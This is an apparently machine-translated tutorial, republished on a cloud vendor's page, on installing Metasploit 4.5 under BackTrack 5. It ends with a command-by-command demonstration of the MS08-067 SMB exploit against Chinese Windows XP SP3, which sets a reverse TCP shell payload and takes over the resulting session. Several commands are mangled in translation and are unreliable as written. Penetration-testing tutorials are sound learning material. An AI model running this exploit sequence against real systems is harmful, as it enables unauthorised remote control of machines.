Installation of Metasploit4.5 method under BT5

Source: Internet
Author: User
Tags svn update

BT5 and Ubuntu Install the latest version of the Metasploit4.5 method: (The old version of the MSF uninstall,bt5 to bring the old version of Metasploit no way to upgrade! )


1. Download the Linux installation package under Metasploit and copy it to the Ubunto/opt directory.
http://www.metasploit.com/download/

2. Run the command "chmod +x/opt/metasploit-latest-linux-installer.run" under terminal

3, run the command "Sudo/opt/metasploit-latest-linux-installer.run" under Terminal, select the installation directory to install.

4, upgrade Metasploit to the latest version, run the command msfupdate
"Sudo svn update/opt/metasploit-4.5.0/apps/pro/msf3"

5, Msfconsole//Startup program

6, msfupate//Vulnerability Library upgrade

7, ms08_67 overflow demo: for Chinese xp+sp3
Example:
./msfconsole
Msf> Search Ms0
Msf> Use Windows/smb/ms08_067_netapi
Set PAYLOAD windows/shell/reverse_tcp
set TARGET 41//Chinese xp+ SP3 type
SETG lport 5555
Exploit-z #可以用如果此处未使用-Z parameter, can later press Ctrl-z to go backstage, session does not exit
sessions-u 2 #升级shell, the SETG must be set in front of the
sessions-i 2//Switch to Session 2
save//Save Settings ?

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.